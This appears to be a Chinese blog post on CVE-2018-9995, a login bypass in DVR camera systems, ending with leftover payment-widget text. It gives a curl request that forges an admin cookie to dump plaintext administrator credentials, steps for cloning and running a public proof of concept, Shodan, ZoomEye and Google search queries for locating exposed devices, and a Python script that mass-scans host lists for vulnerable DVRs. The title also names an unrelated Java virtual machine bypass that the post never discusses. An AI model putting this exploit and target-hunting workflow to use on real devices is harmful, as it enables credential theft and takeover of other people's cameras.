java虚拟机绕过,DVR登录绕过漏洞(CVE-2018-9995)

###漏洞描述

此漏洞允许攻击者通过修改“Cookie: uid=admin” 之后访问特定 DVR 的控制面板,返回此设备的明文管理员凭证。

###漏洞利用

1.利用代码

curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

2.poc利用

https://github.com/ezelf/CVE-2018-9995_dvr_credentials

git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git

cd CVE-2018-9995_dvr_credentials

pip install -r requirements.txt

54e9b82089fe40f53587ff0d54060422.png

c56d7ac0e6dd28a3fdf29dafd910ecff.png

###关键词搜索

1. zoomeye:

keyword: “/login.rsp"

8c8ebfdd4a94f17ca798ee91dc4f7d63.png

2.shodan:

keyword:html:"/login.rsp"

keyword:"server:GNU rsp/1.0"

e37ea28ef4c5e15fcf9aad2475c2dd4a.png

12ab756d04ae7000b17c1bbc8224b1db.png

3.google:

keyword:intitle:"DVR login"

471255b83cecdbf861c4f9e3bcc88b07.png

###批量验证

DVR系列摄像头批量检测 使用方法:python CVE-2018-9995_check.py host.txt

其中host.txt内容可以为8.8.8.8:8080或者www.baidu.com,脚本运行后对使用了DVR系列摄像头的host会保存到result.txt文件里

#author:hzkey

import tableprint as tp

import sys

import requests

import re

class Colors:

GREEN = '\033[32m'

RED = '\033[0;31m'

BLUE = '\033[*]'

ORANGE = '\033[33m'

def check_host(host):

try:

print(Colors.ORANGE+"Checking : %s"%host)

url = 'http://' + host+'/login.rsp'

rr= requests.get(url,timeout=30,allow_redirects=False)

if rr.status_code == 200 and re.findall("GNU rsp/1.0", rr.headers["Server"]):

print(Colors.GREEN+"[*] CVE-2018-9995 Detection :Url is %s"%url)

ff=open('result.txt','a+')

ff.write('%s\n'%(url))

except:

pass

if __name__ == '__main__':

if len(sys.argv) < 2:

print(Colors.BLUE+"""Usage: Python3 CVE-2018-9995.py host.txt

host.txt:127.0.0.1:8080 or baidu.com

""")

if len(sys.argv) >= 2:

file = open(sys.argv[1])

for i in file:

i = i.strip()

check_host(i)

file.close()

3c7b201f8b48eee5fd79a70b2829b020.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值